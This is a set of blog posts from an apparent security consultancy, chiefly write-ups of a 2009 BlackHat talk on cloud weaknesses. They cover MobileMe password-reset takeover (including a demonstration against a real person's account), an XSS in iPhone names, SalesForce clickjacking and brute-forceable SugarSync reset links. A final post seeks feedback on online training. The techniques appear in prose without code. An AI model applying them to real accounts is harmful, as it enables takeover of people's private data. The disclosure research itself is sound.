[part 5 in a series of 5 video write-ups from our BlackHat 09 talk, summary here]

Goal

The final installment of our BlackHat video series showcases weaknesses in the password reset feature for Apple's MobileMe service as well as publicizing an XSS vulnerability in the application. At first glance the choice of MobileMe may seem arbitrary, but it was useful for a number of reasons. MobileMe is one of the more popular consumer-focused cloud services and it's a good example of the feature-creep that's a hallmark of cloud systems. By compromising a user's MobileMe account an attacker has access to much more than just the user's mail. With each new feature addition the user is sucked into the service a little more until most of their data is stored within MobileMe, and a compromise of the account becomes serious for the user.

To this end, we were arrived at the point where, if we were a little more malicious, we could read Steve Wozniak's mail, peruse his calendar, follow his physical location on Google Maps and embed JavaScript in his MobileMe account for contuined access.

Background

Apple's MobileMe product (formely .Mac) provides users with a number of subscription-based services for interacting and existing online including push mail, contacts, calendaring, storage, photos and iPhone integration. These are delivered via a web interface and the infrastructure is managed by Apple.

Video 1: Password Reset

Performing authentication on a massive userbase with whom there is zero offline interaction is hard, especially when it comes down to the degraded authentication required by password reset processes. Considering that web interfaces appear to be the dominant channel by which cloud services are managed (we touch on the implications here), a flawed password reset process can mean that attackers gain access to more that simply your mail.

In August last year, TechCrunch published a way to enumerate usernames on MobileMe. We abused this further to target a specific user on MobileMe in order to reset his password. As the video shows, the process only requires a birthdate (which is generally obtainable either through FaceBook, Wikipedia, Amazon wishlists or the like) and a secret question. Again, with enough digging the answer to the secret question is often guessable. In the video above we show a toy example of the password reset working against a SensePoster.

Video 2: XSS in iPhone name

This video demonstrates an XSS vulnerability that we found in the iPhone/MobileMe integration. By inserting JavaScript into the iPhone's name, this was displayed on the "Find My iPhone" page on MobileMe. Some slight trickery was required as the JavaScript was truncated in two points in the page but passed through untouched in three others; by extending the name and embedding the JavaScript past the truncation point we solved this issue.

Apple has since patched this bug.

Video 3: Woz's mail

Finally, we demonstrate the password reset attack against Woz's MobileMe account. We stopped before actually resetting his password, but in his own words he stores mail, calendaring info and other information that is sensitive to him on MobileMe, and the ability to XSS the page would mean that the continued compromise of the account was possible.

Conclusion

The reliance on web interfaces to control cloud services has unintended consequences. With the feature-creep that takes place, more and more of our data is placed in the cloud yet the security controls remain at the level used to protect Hotmail or Amazon bookstore accounts. By piecing together publicly available information, we can generate a profile that is sufficiently complete for a password reset, which points to flaws within the reset process.

[part 2 in a series of 5 video write-ups from our BlackHat 09 talk, summary here]

Goal

The premise behind this video was that while we are migrating more and more services into the cloud, the front-end through which the services are accessed as well as managed is (in many cases) a web application and we still have not figured out how to write secure web applications reliably. The implication is that business-critical services and infrastructure maybe at risk due to a web developer's mistake.

To demonstrate this, we show Grossman and Hansen's well-known Clickjacking attack being implemented against a big player in the SaaS and PaaS markets, SalesForce.

Background

SalesForce's primary offering is a web-based CRM solution which they manage, and they also provide developers with the ability to write custom applications that run on the Force.com platform. They are a major player in the cloud universe with almost 60 000 customers, revenue over $1 billion and are a member of the S&P 500 index.

They have gone to great lengths to avoid common webapp pitfalls, but even they are susceptible to known attacks as shown in the following video.

Video

Our demonstration of Clickjacking focuses on the editing of a user's task list, but the principle is easily carried over to any click-based task.

1. The first 30 seconds of the video show how a regular user would click around the interface in order to remove an item from the list of tasks.
2. We then persuade the user to visit our evil page which conducts the Clickjacking attack (this is made visible for demonstration purposes by making the SalesForce page slightly visible)
3. [Insert click bait of choice: punching monkey, dancing pigs etc]
4. Once the user has followed our trail of clicks, the task has been deleted.

Conclusion

People are starting to rely heavily on cloud-based services but the interface into these services is often a web application. With each new browser version and HTML-feature, web developers must re-examine their apps to determine if the risk has changed, and our reliance on web interfaces for vital services seems misplaced at best. If a major cloud provider was vulnerable to a well-known attack such as Clickjacking, what hope do the smaller players have?

As if it weren't already obvious, we note that XSS and CSRF attacks become much more than toy-attacks in a world were everything is controlled via a web-interface.

[part 1 in a series of 5 video write-ups from our BlackHat 09 talk, summary here]

Goal

We wanted to demonstrate how access to cloud resources can bring certain attack classes within reach of regular users. Instead of focusing on brute-forcing regular user credentials such as usernames and passwords, we decided to look at less noisy options since failed logins would typically be a closely watched metric.

To this end, different types of session identifiers were examined. The thinking was that by bruting session IDs instead of credentials the monitoring systems might be less likely to pickup the attack, and the cloud gives the attacker vast amounts of bandwidth and processing power that was not previously available. However even with access to cloud resources, most "strong" session IDs would still be large enough to avoid this attack (think 128-bit sessions such as those stored in ASP.NET cookies).

Of course, authentication tokens are not necessarily only stored in session carriers such as cookies/urls/hidden fields. A number of sites use a randomly generated link to effect a password reset, and if these random links can be brute-forced then the attacker still gains access to the account.

Thus, in the following set of videos we show how an attacker can generate a huge number of password reset links on the one hand, each of which is valid for the target account (he doesn't get to see the links). The final step would be to randomly guess links until one is hit (left as an exercise to the reader).

Background

SugarSync is a cloud storage provider nestled in the Infrastructure-as-a-Service layer of the cloud model.

Users can sign-up for free trial accounts and upload/store/share files via the web interface, which is where authentication is handled. There were also client-side options, but we didn't examine these.

Video 1

Here we show how the password reset process works for SugarSync.

1. The first part of the vid hints at the services promised by SugarSync: it's global, secure and has mobile integration.
2. In order to reset a password, we need the username to target (i.e. an email address). Of minor interest: there is a username enumeration vulnerability in at this point in the process as we're informed if the email address is not on file. Therefore we can quite easily guess usernames for a target until we get it right and then proceed with the rest of the attack below.
3. Once we have a username, we enter it into the reset form and submit. On the bottom left of the video we see the Growl notification for a new mail.
4. We open the mail in Mutt (yay!) and extract the link.
5. Open the link in a browser.

The process is quite a common one and simple to boot, however the link that gets sent uses a secret identifier similar to "for472gtb422", which isn't very long.

Video 2

The next video is short, and shows the execution of a Python script that submits many password reset requests for a single account.

Video 3

The final SugarSync video shows the masses of reset emails that were sent to the user.

Two items were of interest:

1. Each link was valid even though they all reset the password on a single account. In other words, rather than permitting at most 5 reset links per account, the account literally had thousands.
2. The links were still valid two weeks later.

What this means is that we can submit hundreds of thousands of reset requests (each of which is live), and we have many days in which to randomly request links with reset tokens, in order to stumble across the account.

Conclusion

The cloud gives us access to vast resources in terms of bandwidth and processing power and this brings within reach different brute-force attacks than simply password guessing. Where random tokens are used and the token's space is not large enough, we can also try guessing the tokens since this is more likely to not trip up alarms.

Over at [Rational Survivability] beaker as coined the term EDoS. To describe how "the utility and agility of the cloud computing models such as Amazon AWS (EC2/S3) and the pricing models that go along with them can actually pose a very nasty risk to those who use the cloud to provide service"

Of course, this has kicked off the flurry of responses from "How is this different to soaking up the bandwidth of people who pay per gig" to "OMG! thats the new thing.. Cloud Computing is bad".

It is an interesting concept, one we blogged about briefly back in 2007 . What makes it interestinger for me, is that with a smart enough attacker, the defender is far worse off trying to differentiate valid application requests from the invalid and black-holing wont be as easy to do..

We are currently doing some fiddling on this, and while i dont think it deserves a new acronym, i do think its got some coolness that needs exploring..

We often get asked by students of our Hacking By Numbers courses if the course environments or at least the VMWare images are available after the training is over. As a result we've started to experiment with a model for offering our courses in an online environment. The idea would be to maintain the full numbers of labs and technical work, maintain the high standard of trainers and materials, but make the training available via the internet to people at various diverse locations. The approach we've been testing appears to show some promise, so we're hoping to ask some of you for your input and opinions.

The model we have in mind works like this:

1. Our slide decks have been ported to a Flash format with voice-overs blended in. This allows the students to browse through the materials, pause the presentation and move forward and backward as they please. The voice-over is by an experienced trainer and is presented in the same anecdotal style we use in our regular courses. There's also a transcript of the speaker's presentation that ensures students understand the trainer and allows them to copy and reuse text from the dialog.

2. The Flash slides are accompanied by the same lab sheets and accompanying answer sheets that are used in our regular training.

3. In order to complete the labs students connect to a Microsoft Terminal Server over the Internet. Each student has their own desktop that's pre-installed and configured with everything they'll need, including an SSH session to the Linux box that's needed for some of the labs. In this way the student walks right into a clean pre-configured environment with a full Windows and Linux toolset. All the targets, along with the classroom infrastructure like web and DNS servers, are available on virtual networks attached to the Terminal Server.

4. The course is broken up into a series of 'modules', where a module corresponds to a number of slides from the deck, followed by a lab exercise from the lab sheets. The students can work their way through the slides in the module then tackle the corresponding labs by logging onto the Terminal Server.

5. Although students work their way through the materials and labs on their own time, they are expected to complete each module within a certain amount of time. At the start and end of each module there is a trainer briefing that occurs via Skype. Students are given an overview of the materials and labs to follow and are given the opportunity to ask questions and make comments.

6. There is also an interim Skype briefing at fixed times at the start and end of each day. Finally, students have the opportunity to submit questions via email during the course of the day that will be dealt with by the trainer at the next briefing.  In this manner we envisage a two-day classroom being spread over a five-day or even a seven-day period.

So that's the basic approach. We've started by porting our Cadet Edition in this fashion because it had the least labs and (as a beginners course) seemed to make the most sense. There's a brief course summary of the course here. But before we take the course live, we're planning to take it for a few test runs and hopefully get some input and feedback from you. Basically, there are three questions we want to ask:

1. Have you done online training before? If you've done online courses, what are your observations? Did it work for you? What did you and didn't you like?

2. Do you think our online approach is a workable learning tool? Do you think our approach can work and would you be interested to attend a course presented in this manner?

3. What would you be prepared to pay for such a course? Here's some benchmark pricing for you to consider - A CEH course starts at $ 695.00 (normal pricing seems to be $ 895) - A SANS @Home hacking course starts at $3,275.00 - The Offensive Security Offsec 101 starts at $ 550.00 (and goes up to about $ 700, without 'options') - Our Cadet course retails at Black Hat from $ 2,200.00, with fully configured laptops provided Our total training content amounts to about 2 days. Given this, what do you think would be a fair price to pay for this course?

Finally, we're planning to hold a free online 'beta' of the course early in 2009. If you'd like to take part, please let us know by contact 'training@sensepost.com'